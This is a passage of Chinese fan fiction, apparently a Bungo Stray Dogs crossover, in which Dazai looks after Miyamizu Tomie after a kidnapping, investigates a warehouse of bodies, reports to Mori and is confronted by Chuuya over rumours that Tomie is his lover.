想到这里，宫水富江再次茫然。 他在为什么笑来着？ ‘当然是因为看到他们那样厮杀，所以才笑……’ 宫水富江好像听到了谁在说话，他看向四周，却没有发现任何人。 黑发青年似乎注意到了他的奇怪举动，“怎么了吗？” “不……”宫水富江下意识否认，随后想起了什么主动询问，“说起来，既然我回到了公寓，就说明是太宰先生救了我吧？” “这个嘛……” 在宫水富江的目光中，黑发青年疑似微妙地停顿了一下，随后回答，“算是这样吧。” “对方是我上个任务所要解决的组织的残党，所以才会为了报复我而绑架了你……” “在发现你被绑架后，我带着下属前去营救你。只不过当我赶到后，发现你已经陷入了昏迷。” 对方简单地叙述了一下事情的经过，宫水富江很快明白了自己为什么会出现在公寓。 他低下头，这才发现自己身上的衣服沾满了血迹。见状他急忙站起了身，就在这时，黑发青年递过来一套他的衣服。 “给。”对方开口，“本来我是想帮你处理一下的，只不过……” 对方似乎是想解释什么，但宫水富江此时注意力并不在这个地方。 他对太宰先生道了谢，然后拎着衣服去了浴室。 看着对方关上浴室大门的身影，太宰治在心里松了口气。 好在对方没有睡太久，不然他都不知道要不要继续等下去。 想到这里，他看向了钟表。现在距离他上班的时间还有一两个小时。 虽然因为少年的原因，他离开了仓库，但是太宰治准备等到上班时间后，带着下属返回那个地方进行调查和清理。 至于芥川…… 想到这个家伙，太宰治就忍不住头疼。 明明潜力巨大，却会是那样的性格…… 以至于即使是最简单的指令也会因为对方的擅自举动而导致任务出现问题。 太宰治甚至开始怀疑是不是自己的问题了。 不想再思考对方的事情，太宰治决定做点什么别的事情转移注意力。 他走到厨房内的冰箱前，打算看看有什么食材。 洗完澡的宫水富江终于感觉自己整个人都清爽了，换上太宰先生递给他的衣服后，他径直地走出了浴室房门。 然而看向客厅，发现前不久还在的太宰先生此时并不在客厅内。 ……上班了吗？ 冒出这个想法后，宫水富江来到了客厅，却发现厨房那边传来了动静。 察觉到了什么的他慢步走到厨房附近，通过开放式厨房他发现了正在内部进行料理的黑发青年。 对方似乎已经做到了最后一步，将什么东西从锅里端出来放入了碗中，端了出来。 注意到他的出现，对方也丝毫不惊讶，反而开口，“虽然不知道生病的人该吃点什么，但是我熬了点粥……” 宫水富江顺着对方期待的目光看向了碗，然后沉默不语。 对方虽然说是粥，但是…… 看着那在碗中咕噜咕噜冒泡发出不祥蓝紫色的粥，宫水富江还是觉得这更像童话故事里巫女制作的药水。 “……太宰先生在里面放了什么吗？” “没什么，只是普通的蔬菜。” 宫水富江：“……” 不想打击对方积极性的他只好在对方期待的目光下喝下了这碗粥，他想，总不至于会死吧？ 但出乎意料的，这碗粥的味道还算不错，甚至带着淡淡的甜味。 大概是发现他略显诧异的表情，对方开口，“虽然我也是第一次做，但看起来效果还不错嘛！看样子下次可以做给朋友尝尝了……” 说着，对方若有所思起来。 所以，他只是对方的试验品吗？ 宫水富江有些震惊和茫然。 黑发青年似乎也发现了这么说不太好，于是马上转移话题，“快到我上班的时间了，不过我今天的工作只剩下了善后，大概中午的时候会回来。” 虽然生硬，但是有效。 宫水富江顺着对方的话题看向冰箱，如果他想得没错的话，那里应该没有两人份的食材了…… “不用担心，再怎么说富江你才经历了那种事情。”太宰治开口，“所以今天中午我可以帮忙带吃的回来。” 他询问，“你有什么想吃的食物吗？” 吃的食物…… ‘那当然是……’ ‘——高级鱼子酱和鹅肝酱。’ “高级鱼子酱和鹅肝酱。” 莫名的声音再次响起，宫水富江下意识重复道。 ** 太宰治离开了高级公寓，手中还拿着一个塑料袋，这里面是少年沾满血迹的衣物。 看见少年对这种东西不知所措的时候，太宰治主动提议将这种东西带走丢掉。 对别人来说可能确实难以处理了一些，但是对于在港口Mafia工作了三四年的他而言却轻而易举。 只不过，从公寓离开前往港口Mafia的他心思并不在这种事情上面。 而是在离开前，少年对他说的那句话上。 高级鱼子酱和鹅肝酱……吗？ 黑发青年走下楼梯的同时，陷入了沉思。 明明他之前观察的时候，少年喜欢的食物并不是这两样。 虽然感觉好奇，但没有更多线索的他只好先将这种事情放在一旁。 来到港口Mafia自己的办公室后，太宰治随便找了一个垃圾桶打算将手中袋子中的衣物丢掉。 可是在即将丢掉的时候，眼尖的他看到了袋中衣物上的破损。 太宰治的手停住，然后将衣服从袋中拿起来展开，出现在他面前的、属于少年的上衣部分在胸口处有一道明显的破口，并且在这个破口周围的血迹远比其他地方的要更多更显眼。 就仿佛，曾经有大量的血在这里喷涌而出…… 想到这里，黑发青年回想了少年从浴室出来时候的模样。 “叩叩叩。” “太、太宰先生？” 听到熟悉的声音，太宰治立即分辨出来是自己的副手中西宽人，便让对方直接进来。 于是，等中西宽人进门的时候，只看到自己的上司正展开着一件布满血迹的上衣欣赏。 ……这是上司什么新的爱好吗？ 中西宽人在心里想，但表面上他还是颤颤巍巍地低下了头，生怕自己的表情会被对方猜到心思。 “中西啊，你来得刚好。” 他听到自己的魔鬼上司这样说，并继续道，“接下来我会带着别的部下去收尾残党的事情，至于你……” 中西宽人忍不住咽了咽口水，额头开始紧张地冒汗。 “你帮我买一些高级鱼子酱和鹅肝酱。” 中西宽人：“……？” 这是什么另类版本的双倍糖精的咖啡吗？ 对方这么说着，随后又补充道，“再顺手帮我买一些普通的食材吧。” 虽然不知道对方所说的普通食材是什么，但是…… “我知道了。”中西宽人回答。 大不了，他把市面上的食材都买一遍。 反正这种钱走的是公司账单，报销的也是他们的首领。 *** 携带着部下重返仓库，这一次凭借着明亮的光线，太宰治清晰地看到了之前没有仔细看清楚的场景。 血腥味依然浓烈，但比起这种事情，地面上的尸体才更能吸引太宰治的注意。 他挥了挥手，示意身后的部下在原地待命，然后自己独步踏入尸海之中。 他踏过地面上深色且黏腻的液体，发出践踏的声音，仔细注视着路过的每一个尸体的模样。 或是不甘，或是激动…… 他们的表情基本都是如此，却唯独不像是正常该面临死亡的茫然或者恐惧。 不仅如此，他们身上的伤口…… 太宰治停下脚步，凝视着脚边这具尸体。 对方手上紧紧攥着一支枪，表情兴奋，然而对方的背上是一处显示死亡原因的枪伤。 但要知道，他这位直属部下兼他的弟子，可从来不用枪支弹药。 毕竟，对方将这种东西归类为蠢人的武器。 实际上，这片地方大多数尸体都是差不多用枪支制造出来的致命伤，偶尔也有零星几个是匕首的致命伤。 也就是说……这个尸海并非是芥川龙之介制造而成。 他顺着这具尸体趴下的方向回看，找到了不远处唯一一个远离这片尸海的尸体。 于是，迈步走了过去。 这具尸体与那片尸海中的尸体极为不同，不仅离得那么远，就连身上的致命伤也并非枪支匕首造成，但却又更加正常。 注视着尸体胸口处的大洞，太宰治甚至能够看到地面。 不过这样一来他也确信了一件事…… ——这里的尸体，除了这一具外，其余都是自相残杀而死。 不，更准确地说。 这具尸体是自相残杀后唯一的获胜者，所以才会被出现在这里，最终被芥川龙之介解决掉。 想到这里，太宰治望向了他在黎明前夕来到这里看到的芥川龙之介和少年所在的位置。 那个时候，究竟发生了什么呢？ 黑发青年缓缓回头，看向了疑似在自相残杀中被撞到而摔坏的摄像设备。 第23章 太宰治注视着那个被安装在三脚架上的摄像机, 动也不动地对着身后的部下开口，“给我把那个拿过来。” “是。” 听到了命令，其中一个下属立即来到上司所指示的位置, 从一片尸海中找到了不太起眼的摄像设备。 摄像机明显遭受到了强烈的撞击而发生了剧烈的变形，他蹲下将上面的摄像机取下来的时候, 甚至能感受到碎渣从上面掉落到手心。 不过为了以防万一，他还是艰难地打开了相机, 注视着碎裂的屏幕按了一下开关。可惜的是，屏幕并未亮起来。 见状，这名下属这才站起身将摄像机拿到了黑发青年的面前，毕恭毕敬地回答, “太宰先生，这个摄像机应该是损坏了。” 太宰治看向变形的摄像机，在发现上面布满血迹后放弃了伸手去拿的打算, 但他本人对于下属口中的结果并不意外。 只不过…… “还有呢？”他继续问。 “那个……” 刚刚还毕恭毕敬的下属说话的声音开始颤抖，显然不知道上司这一个问题的答案。 他开始思考怎么回答, 就听到上司的叹息声响起, 这使得他的后背上开始急速出现密密麻麻的冷汗。 “哎，有的时候我真的很想知道你们的脑子都是怎么长的……” “所以, 储存卡怎么样了？” 尽管黑发青年的话语恶毒又伤人，但作为下属的他不敢出言不逊, 只希望能赶紧回答完, 然后回到自己的队伍中去。 于是他按照上司的问题, 打开了摄像设备。可是看着内部都发生变形的状况，他想这个问题可能不需要他去回答了。 果不其然下一刻，上司冰冷的话语从他的身边响起。 “……可以了。” 下属松了口气，正准备离去, 就听到上司继续道，“你找个人把内部的储存卡修好，到时候让中西交给我。” 庆幸自己没有提前离开的下属听到这个命令瞬间恢复了原来能干的模样，他低着头对着面前的黑发青年道，“是，我明白了。” 说完，他拿着这个变形了的摄像机离开了仓库。 看着下属离开的背影，太宰治又将视线转移到仓库内堪称炼狱的景象。 等他再确认没有新的、值得记录的线索后，他才转身朝着下属们所在的位置走去。 面对下属们低着头的模样，太宰治直接略过他们倚靠在他们身后的置物架，淡淡道，“就像你们看到的那样……” “你们接下来的任务就是将这里清理干净。” * 等太宰治返回港口Mafia时已经是一个小时后。 当然，清理现场，还是那种现场，所要花费的时间远远不是一个小时就能结束的。 只是太宰治在原地观看了一会儿后，就嫌弃过于无聊，于是将下属们都在那里，自己独自离开了。 不过，这也并非是他离开的唯一理由。 除了现场的收尾外，作为这个任务的负责人他还需要将事情发生的一切写成报告。 于是等太宰治将报告都写完后，时间再次过去了半个多小时。 但写完报告后，他并未直接离开，而是单手撑着脸颊坐在办公桌前呆坐了会儿。 在打了个哈欠并伸了个懒腰，终于按捺不住的情绪后，太宰治侧头看向办公室左侧墙壁上挂着的时钟。 此时距离他给中西宽人下达指令过去了长达两个小时。 “……” 不太理解为什么简单的任务也会花费那么长的时间，但他已经不打算继续这样等下去。 太宰治看了一眼自己写好的任务报告，他原本是打算自己的副手回来后，让对方帮他将任务报告交给首领，自己带着食材离开。 可现在，显然只能自己去做。 意识到这点，太宰治忍不住露出嫌麻烦的神情。 他拿起报告的文件，来到高层专用的电梯内，按下了最高的楼层。 在电梯发出提示音后，径直朝着首领办公室走去。 熟练地被检查后，他敲响了首领办公室的大门。 “请进。” 守卫帮他推开了大门，又在他进去后主动关上。 身后的光源消失，首领办公室内一片昏暗。 在这个极短的时间内，他还无法适应这个差距，只好微眯着双眸看向眼前首领所在的位置。 对方似乎察觉到了他的不适，很快将身后的落地窗通上了电。 原本黑着的玻璃在通电后迅速变得如同普通玻璃一样，明媚的阳光通过玻璃照射在室内，房屋内的光亮瞬间增强。 突然的再次变化使得太宰治闭上了双眼，等他再睁开，面前倒映出首领熟悉的红色围巾。 他注视着对方看似和蔼可亲的微笑，面不改色地开口，“……首领。” “真是难得，太宰君居然会在这个时间点来找我呢。” 对方调侃着，这种态度比起某种上下级关系，更像是长辈和后辈的亲密关系。 太宰治并未被对方的这种表象所迷惑，作为弟子的他最清楚对方是个怎样的人。 他只是淡定走上前，将手中的报告文件递到对方的桌面上。 “首领，我只是来交任务的。” 对方笑了笑，没有说话，似乎并不觉得尴尬。 在看到太宰治递过来的文件后，直接拿了起来查看。 太宰治见对方看得认真，自己只好无聊地打了个哈欠。 如果不是上下级关系，他现在肯定直接出门离开。 因为…… 不等太宰治想完，他就听到森鸥外的话语。 “芥川龙之介……”对方注视着文件喊出一个名字，又继续道，“说起来就是太宰君晋升为干部后，收的那个直属部下？” 太宰治神色淡淡地回答，“是我新收的直属部下。” “之前追查残党的时候遇到的，对方和中也一样生活在擂钵街。不过很可惜的是，他的同伴因为目睹到了那个组织走私交易的场景被杀害了，目前只留下了他和他的妹妹。” “因为意外发现对方的异能力很有潜力，所以我将他留下来做自己的直属部下。” “异能力很有潜力……吗？”首领低声重复着，然后笑了起来，“虽然还没有亲眼见过对方，但是我听说了哦，太宰君……” “——他好像很敬仰你的样子。” 听着对方拉长的语调，太宰治没有错过对方因为笑容而微眯着的双眸下所闪烁的微光。 他不动声色地叹了口气，面上故作为难，“原来别人是这么传的吗？” 很快又回想般自言自语道，“嘛，这么说好像问题也不大吧。只不过……” 他故意说到这里停住，等待。 果不其然，首领接上了话。 “只不过？” 面对首领歪着头表示不解的神情，太宰治这才继续道，“那个家伙他可是完全不听指令呢。” “让他跟随我的部下调查别人情报，他完全不知道该做些什么。让他把找到的目标人物活捉，他也会将对方当作敌人解决掉。让他去处理文件工作，他这个时候会窜逃在桌子底下当作什么都没有听到……” 黑发青年洋洋洒洒了一大堆，无一不是对自己这位新收直属部下的不满和抱怨。 “而且首领你知道吗？刚捡到他的时候，他浑身都脏兮兮的，我特意让部下带他去洗澡，结果发现那个家伙完全不愿意下水！不得已的情况下，部下找到我说了这件事，害得我不得不亲自带他去洗了澡！” 说着说着，黑发青年低声嘀咕起来，“搞得我好像和织田作那样在带孩子了，可恶……” 对方在嘀咕什么森鸥外没有听清，但是他是真的感受到了来自对方的怨念。 “啊，说起来……” 就在森鸥外还在沉默的时候，黑发青年像是想到了什么，目光向他看来，“我记得首领带孩子很有一套不是吗？既然如此，首领干脆帮我带带芥川好了。” “……” 森鸥外保持微笑坐在位置上，没有立即说话。 他想不明白自己只是试探性地问了一下，对方怎么就长篇大论到了要将这个直属下属甩给他的地步。 不过太宰君既然敢这样对他说，那么就说明这些事情都是属实的。 想了想对方口中那个不听管教，还会增添麻烦，又不爱洗澡的直属部下，森鸥外忍不住思考了一下自己接手后可能出现的画面。 要不，还是算了吧。 如此想着，森鸥外轻咳了一声对着面前的黑发青年开口，“太宰君，我想了想，你也是时候该锻炼一下怎么带后辈了，所以这件事情还是交给你自己好了。” “嘁。” 听对方发出不满的声音，森鸥外也不生气。 他用手指点了点桌面上对方交给他的文件，发出富有节奏的声音，淡定地询问面前的黑发青年，“那些残党全部都是由你的直属下属芥川君解决的我明白了，不过——” “他怎么样了？” 森鸥外能感觉自己这句话后，黑发青年明显的停顿。 可很快，对方又变回了刚刚抱怨芥川龙之介时的模样。 “首领口中的他，该不会是指富江吧？”对方摊着手询问。 森鸥外笑眯眯着，没有说话。 黑发青年也不在意对方没有回答的事情，而是继续道，“当然是没事啦。” “虽然我刚刚那么说了芥川，但是在实力方面还是毋庸置疑的。” 在森鸥外的目光中，面前的黑发青年说话的时候嘴角上扬，明明正对着透光的地方，双眸却愈发黑暗。 紧接着，像意有所指般回答： “富江他，什么问题都没有哦。” …… ………… 注视着自己刚刚晋升为干部的下属离开，森鸥外不再维持自己原本微笑的表情。 他转动了座椅，看向窗外的景色，然后重复着黑发青年刚刚的回答。 “什么问题、……都没有吗？” ** 宫水富江坐在公寓的客厅内，低垂着头看起来像是在发呆。 但实际上，他只是在想一些东西。 之前太宰先生在，他的注意力全放在了太宰先生身上。 现在太宰先生不在，他才感觉到了自己身上似乎发生了某种转变。 比如说—— 他的目光看向这套公寓，明明之前还觉得很符合他对居所的要求，现在看起来似乎觉得有些、……普通。 是的，普通。 即使这里是装修精致的高级公寓，但宫水富江还是感觉到了普通。 不知为何，他觉得自己应该住在更加豪华的地方。 再比如说—— 宫水富江站起身，来到自己卧室的衣柜前，打开。 看着里面几套穿过的衣服，他居然觉得这些是穷到穿不起的人才会买的三无品牌！ 而且还被他本人穿过了很多遍！ 如果他要穿，当然应该去穿更加知名的牌子！ ——这肯定他自己哪里出现了问题！ 宫水富江就差抱头在地上打滚的来表现自己的痛苦了。 更重要的是…… 宫水富江想起了今天早上太宰先生询问他想吃什么的画面，他当时没有反应过来，于是回答了那个答案。 可结合现在的情况看来，这个答案异常眼熟，眼熟到了答案呼之欲出的地步。 宫水富江来到浴室内洗手台前，看向上方镜中的自己。 黑色微卷的发丝，白皙嫩滑的肤质，和那个在左眼眼尾处的泪痣。 但最令他目不转睛的，是镜中的自己居然在笑。 嘴角浅浅勾起，连带着眉眼都微微弯了起来，整张脸远比之前要更加带着某种未知的魔力。 像极了…… ——真正的富江。 他想。 之前他像原著的富江，只能说是因为他眼尾处的泪痣和造型太具有指向性了。 可如果是现在，恐怕只是这个表情，就很容易让人联想到原著的富江。 宫水富江转过头，看向了浴室墙壁上的瓷砖。 一切的改变不可能没有一点迹象，所以唯一要说的话，宫水富江只能想到是绑架时发生了什么。 这很有可能与他那断片的记忆有关。 虽然不清楚具体发生了什么，但宫水富江有一点已经很清晰地意识到了——这个体质连带着他产生了类似原著富江的想法。 想到这里，宫水富江返回了客厅，坐在沙发上。 只觉得自己苟命的道路越发艰难。 不知道过了多久，公寓的房门发出了声响。 宫水富江睁开眼，看着天花板，这才发现自己似乎又睡着了。 他揉搓了一下眼睛，直至意识清晰，才坐起身看向门口的位置。 熟悉的身影让宫水富江一下子就认出来是太宰先生。 对方低垂着头，像是在思考着什么。 而宫水富江注意到了对方手中拎着的一堆袋子，见状他立即上前帮忙，从对方的手中拿走了几个分担了压力。 然而一拎到自己手中，宫水富江才发现这些东西有多重。 他不由得侧头打量起了身旁的黑发青年，这才发现对方拎东西时，西装下微微鼓起的肌肉。 前不久失落的情绪此时消失不见，只剩下了对太宰先生的羡慕。 和他这种真瘦的类型不同，太宰先生是那种脱衣有肉的类型。 说好的柔弱无助的脑力工作者呢？ 感觉只要对方稍微变换一下姿态，都能去拍暴力西装了！ 全然忘记之前对方说过自己的实力是武装部门中下水平的宫水富江想到这里，撇过了头不再去看。 他拎着袋子来到了厨房柜台处，将东西一一拿了出来。紧接着对着琳琅满目的食材，陷入了沉默。 对方怎么会买那么多东西？ 这个时候，走到他身边的黑发青年像是知道了他的困惑回答，“虽然是我叫自己的部下去买的，但是没有想到对方居然买了那么多。” 宫水富江看过去，发现对方正从袋子中摸索着什么。 还不等他询问，对方就先一步开口。 “啊，找到了找到了。” 说着，对方将找到的东西递给了宫水富江。 宫水富江疑惑地伸出手，接住。 然后，顿住。 “你早上说过的高级鱼子酱和鹅肝酱。”黑发青年淡定道，“因为不知道你要的是哪款牌子，所以干脆把能买到的都买了个遍。” 黑发青年说完看向宫水富江，不出意外地发现了对方脸上那略显复杂的神情。 “……怎么这个表情？” “不，只是有些感慨。” 宫水富江真心实意这样感觉的，虽然想要这个是因为被体质影响了，他本身是无所谓吃不吃高级鱼子酱和鹅肝酱。 但是看到平时只等待着他购买食材和投喂的太宰先生，今天居然给他带来了东西。 宫水富江不由联想到穿之前看到的那种萌宠视频，猫打猎回来送主人礼物。 他记得这个时候，一般需要—— …… ………… 即使离开了港口Mafia，太宰治也依然不自觉地回想起在那之前和森鸥外相处的氛围。 看起来相处融洽，但实际上每一句话的背后都是试探。 无论是芥川的事情也好，还是富江的事情也罢…… 不过，也多亏了对方的试探。 太宰治一直没有想明白的事情，现在也终于想明白了——关于那群残党为什么会找上宫水富江。 想必是因为他对宫水富江产生好奇的事情被对方看透了，却并未告知对方的原因。 于是，那个老狐狸忍不住想要宫水富江在他这里的存在意义。 想到这里，太宰治再次低垂着头看向袋中的食材。 手中的动作多了几分不耐烦的意味，就在这时，少年的声音在他耳边响起。 “谢谢你，太宰先生。” 太宰治侧头看向说话的少年，只见对方继续道，“你送的东西我会好好珍惜的！你放心，之后我会更加努力地给你投、……给你制作美味的料理的！” 太宰治：“……？” 他实在不太能理解前后的逻辑关系。 而且…… 太宰治的目光移到对方手中的东西。 这个买回来就是让对方吃的，而不是用来珍惜的……对吧？ 尽管有点不明所以，但不知为何少年在刚刚的事情之后行动力满满。 在主动将穿戴上的围裙请求制作午饭后，便二话不说地将他赶出了厨房。 见状，太宰治只好在客厅安静等待。 等到对方制作了一堆料理喊他过来吃饭的时候，太宰治已经下意识顺着对方的话语坐到了客厅的椅子上。 在看到桌面上丰富的食物后，太宰治的心情突然复杂起来。 他不自觉地看向了坐在他身侧的少年本人，只见对方满脸期待，像是希望获得他的夸赞。 太宰治想，如果是之前的话，他一定会在品尝之后，毫不吝啬地夸赞对方。 不仅仅是因为味道有这个价值，也是因为那个时候的他认为对方另有目的，所以为了迎合对方，他会配合对方的需求给出回答。 可现在…… 安逸、正常，这与他原本所期待的生活完全相反。 意识到这点后，一股难以语言的感觉出现在他的心头。 这个时候，他想起了自己接受少年出现在他生活中的初衷和回答森鸥外的那句话语。 虽然到目前为止还有一些疑点存在，但太宰治从最开始的时候想要确定的只有一件事，并且他已经通过试探并获得了答案。 可他还是忍不住，忍不住想要亲口听到那个回答，进行确认。 于是，他放下了原本拿起来的碗筷。 对着面前因为他的举动而困惑的少年，询问出了那个最根本的问题。 “富江你……” “——是别的组织派来的吗？” *** 他的强心剂，效果似乎快要结束了。 太宰治想到这句话的时候，已经在返回港口Mafia的路上——哪怕他知道今天他自己其实可以完全不用过来上班。 不知道是不是错觉，太宰治总感觉今天周围的环境远比之前要更加嘈杂，但他现在完全没有多余的心思去思考为什么会这么这样。 因为他的大脑里，现在只能回想起不久前少年回答他的那个答案。 【“当、当然不是！”】 直至现在，太宰治还能回忆起对方在他问出那个问题后，所流露出的茫然和在反应过后试图解释自己清白的不知所措。 当然，他当时很快就不动声色地安抚了对方，并表示自己早就知道他不是别的组织派来的人，而是为了确认才需要这么询问的。 可是…… 太宰治垂下眼眸，只有他自己知道当时的他在想什么。 …… ………… 在周围人的视野中，面无表情的黑发青年身边散发着难以靠近的低沉的大气压。 虽然对方因为昨晚半夜的帖子而成为了话题中心，但作为下属的他们完全不敢打扰到对方，只敢小心翼翼地对其投去好奇的打量。直至对方进入办公室内，关上了房门，才敢做出大胆呼吸的模样。 然而还不等他们放松一口气，另一个行色匆匆的人从他们的身边掠过，径直走了过去。 对方的速度过快，再加上行走时带来的风压吹乱了他们的发型，所以他们只来得及看见对方那显眼的赭发。 但光是这一个特征就够了，再加上对方离开时的方向，他们立马认出了这是与黑发青年不对付的另一位高层中原中也。 如果不出意外，这位应该是听到太宰先生回来的消息，所以特意过来寻找太宰先生的。 毕竟所有人都知道，两人聚集在一起的时候，轻则吵架，重则斗殴。 就是不知道，他们这次又是为了什么而发生了争执。 而就在所有人都不看到的办公室内，赭发青年正愤怒的拎着坐在沙发上的黑发青年的衣领，语气不善的开口，“喂太宰，我有一件事情想要问你……” 迎上黑发青年那宛如死水般不见波澜的双眸，他在犹豫后继续坚定的询问： “富江是你的情人这件事情……是真的吗？” 第24章 “富江是你的情人这件事情……是真的吗？” 中原中也在犹豫了之后, 还是将这个问题问了出来。 * 今天早上来到港口Mafia后，他就发现了周围人的窃窃私语。 通过不明显的侧敲旁击，他得知了一件事情——关于有人绑架太宰治的情人来威胁太宰治本人的事情。 对于这件事情, 中原中也一开始是嗤之以鼻的。 太宰治有情人——说实话这件事情本身就是别人自以为是的想法，只是谣言。 毕竟作为搭档的他已经通过与太宰治本人对话, 明白了这件事情的本质是虚假的。 因此，等他再次听到有关于‘太宰治的情人’的话语时, 中原中也的第一反应就是：什么离谱的谣言吗？ 直至他从自己的副手口中得知这次的内容—— 当时的他正坐在自己的办公室内批改文件，而他的副手正将他批改过的文件和做完的报告进行整理并带走进行归纳。 与太宰治这边的情况不同，中原中也是港口Mafia内十分受下属欢迎的上司。 和经常不太待见下属的太宰治不同，中原中也对待下属的时候大多都会讲些安慰和鼓励的话语。 即使偶尔并未严格遵守上下级关系, 作为上司的中原中也也不会因此生气或者给予惩罚。甚至相反，在下属需要的时候，中原中也总是会询问对方是否需要帮助。 这导致当他亲口询问最近是不是发生了什么事情的时候, 他的副手没有恐惧和隐瞒，径直地讲出了昨天半夜发生的事情。 “其实是太宰先生。”副手回答。 中原中也坐在自己的位置上, 在听到那熟悉的名字后, 他轻微挑了挑眉，“他？” “该不会又在哪里自杀, 给人惹麻烦了吧？” 副手摇了摇头，“并不是……” 他回头看了一眼办公室的房门, 确认是关闭状态后, 他的上半身开始倾向赭发青年, 用说悄悄话的语气毫无下属模样地说了更多的内容。 “是太宰先生的情人！” 声音虽小，但中原中也听得出来对方话语中的激动。 只不过，在听到是情人后，中原中也的兴趣突然又没有那么高了。 作为亲自与太宰治对话过的他本人, 自然明白这个‘情人’身份的水分有多么重。 可看见自己副手那副想要八卦的模样，中原中也最终还是没有打扰对方想要分享这个‘秘密’的心情。 “实际上昨天半夜，有人悄悄在组织内网爆料称有人绑架太宰先生的情人来威胁对方单独见面！” “我们猜测是太宰先生那边的人爆料的，毕竟这种事情只能是在现场的人才能知道！” “目前还不知道具体情况，但是我们这边有人缘广泛的下属已经在朝着太宰先生的下属打听更多的爆料了！” 中原中也：“……” 看着副手激动的模样，他一时之间不知道该说些什么。 但是。 因为黑色礼帽被他放置在衣帽架上，所以中原中也只能抬起手无奈地抓了抓自己的头发。 并同时用颇为无奈的语气对着自己的副手开口，“你们啊……有的时候少看这种无聊的东西。” “指不定又是假的。”他继续道。 副手听到这句话有些奇怪，下意识询问，“‘又是’……？” 中原中也这才意识到自己好像泄露了什么，他不清楚太宰治为什么放任这样的谣言在港口Mafia内传播。 可既然对方这么做了，那应该是有什么道理的，作为对方的搭档，他可以不相信对方在生活中相处的那些小事，但不会不相信对方在工作上的安排。 见状，他赶忙打圆场。 “不……我的意思是说，毕竟太宰本人都没有出现，现在讨论这个可太早了。” “小心被对方知道后报复。” 不知道是不是因为最后那句话，副手的表情开始犹豫。 他喃喃道，“不会吧？” 就在中原中也以为对方听懂他话语下的提醒，不会再说的时候，只见他的下属抬起头一本正经地对他进行反驳。 “可是，大家都已经知道了！” “甚至就连太宰先生的情人叫作富江的事情，也都知道了！” 中原中也的神情在最开始那句时有些无奈，他这个时候还在想，是不是自己平日里的亲和让他们都忘了别的上司都不像他这样好相处的。 可在听到后一句中的那个名字后，中原中也的表情瞬间消失。 “富江……是那个宫水富江吗？” 撞名字不是没有可能，但为了以防万一，中原中也还是想要进行确认。 然而副手似乎并不太清楚，对方抓了抓后脑勺。 “姓氏是不是宫水不太清楚……但是据说是位美人。” 听到这里，中原中也再也忍不住站起了身。 如果是富江也就算了，但是再加上美人的标签，中原中也很有理由怀疑，这位富江就是他认识这宫水富江。 回想着记忆中那个初见时，因为遇到跟踪狂而表情害怕、衣着凌乱的黑发少年，中原中也就难以遏制想要获得正确答案的心情。 但显然，他的副手那里获得不了。 所以如果想要获得答案的话…… * 所以，这就是中原中也出现在对方办公室，并揪住对方衣领进行询问的原因。 而且，如果这个人真的是宫水富江，那么有些东西就不得不拿出来探讨了。 想到这里，中原中也表情略显愤怒，但语气带着克制地询问，“说话，太宰。” 然而，他手下的黑发青年只是眨了眨眼，看起来就像是没有反应过来发生什么的无知人士。 但中原中也知道，那只是对方的伪装。果不其然，对方的表情很快发生了转变。 黑发青年像是想到了什么，嘴角渐渐勾起弧度，可眼尾却没有一丝变化。 中原中也即使再不擅长这方面，也看得出来对方正在做出的虚伪的笑容。 “啊嘞？中也特意过来就是为了问我这个问题的吗？”黑发青年语调抑扬顿挫，随后又做出思考的模样，“让我想想……” 中原中也被对方的这个态度整得更加上火，他不自觉的更加用力的揪住对方的领口。 对方似乎被这个动作提醒，眼神瞬间闪过微光，嘴角恶劣的笑意变得真实，“没错，大家口中所说的那个情人就是富江哦。” 中原中也的眼眸缓缓睁大。 “——宫水富江。” 黑发青年像是为了让他更加确信，又或者是为了火上添油，说出了全名。 注视着黑发青年的表情，中原中也忍不住出声，“你这家伙——” 对方绝对是故意的！中原中也十分肯定这一点。 “说起来，我记得中也不久前似乎也在找谁吧？”黑发青年保持微笑地开口，但眼眸却毫无光亮，“今天你特意跑过来问我，我的情人是不是富江。难道说……” 中原中也手中攥紧衣领的动作越来越用力，以至于黑发青年的已经开始有被他拽离沙发的迹象。 可就算如此，也阻挡不了对方继续说话的嘴。 “——中也找的人就是富江？” “太——宰——！” 中原中也瞧着对方勾起的笑容，再也忍不了自己的愤怒。他没有松开对方的衣领，而是径直地伸出另一个握成拳头的手揍上了对方的脸颊。 瞬间，从黑发青年被揍得撇过了头。然而等对方缓缓转过头来却发现即便对方的嘴角处流出一道血丝，可神情从始至终没有任何变化。 中原中也怒不可遏，“你早就知道了吧？！混蛋！” 是的，他是这样认为的。 通过对方现在的表现，中原中也无比确信对方知道这件事情——就算没有证据。 果然他话音刚落，黑发青年嘴角的弧度增大。 “被发现了啊。”黑发青年如此说道，紧接着又携带着那副顽劣不恭的笑容反问，“那中也要不要猜猜，我究竟是从哪里知道的？” 中原中也抿住嘴角，没有说话。 那双钴蓝色的眼眸此刻紧紧凝视着面前的人，像是在看敌人。 “给你一个提示好了。” 然后，中原中也听到黑发青年说出了一个具体日期。 听到这个日期的瞬间，他的双眸立即睁。 因为他清楚地记得这个时间点。 这是他找到那个少年后，约好见面拿到谢礼的时间，同时也是…… 中原中也回想起了当时太宰治闯入他办公室后那副奇怪的表现，特别是对方非要抢走少年送给他的饼干强行吃掉的场景。 如果是这样，那么之前的疑点一切都解释得通了。 想到这里，中原中也的脸却更黑，“……你这条青花鱼，当时在看见那份饼干的时候，就知道我要找的人是谁了吧？” 即使被这样揪住衣领，摆出一个完全不舒适的动作，黑发青年也只是摊了摊手。 对方露出无辜的神态，但眼底的情绪却并未遮掩。 “啊，终于发现了？”对方嘲讽般回答，“其实那份饼干，我早就在对方进入厨房制作的时候，就吃过了。” 听到对方这么说，中原中也的呼吸不稳。 他听得出来对方这句话语下的意思，分明是在向他强调对方与少年之间那并不一般的关系。 只不过，对方是不是忘了？ 中原中也很快稳住了呼吸，他询问，“但我可是清楚地记得你表态过，你和对方之间不是我、……”他顿了顿，修改了措辞继续道，“不是我们所想的那样。” 为此，对方还恶劣给他报了医院的地址，让他自己去检查脑子。 不过说到这里，中原中也想到了一件事情。 中原中也再次用力将对方拽起来了一点，“你故意无视组织内和他之间的谣言不管也是有什么企图的吧？为此还故意弄出了什么绑架……” “所以，”他直接质问，“结果呢？” 他与黑发青年直勾勾地对视，“你发现了什么吗？” “……” 然而黑发青年却沉默不语。 对于这个态度，中原中也却反而发出了嗤笑。 就像对方熟悉他到了知道他什么时候会发出攻击一样，作为搭档的他同样也清楚明白对方这个反应下是什么答案，又意味着什么。 “没有想到你也有这样的一天啊，太宰。” 中原中也像是感叹，像是嘲讽。 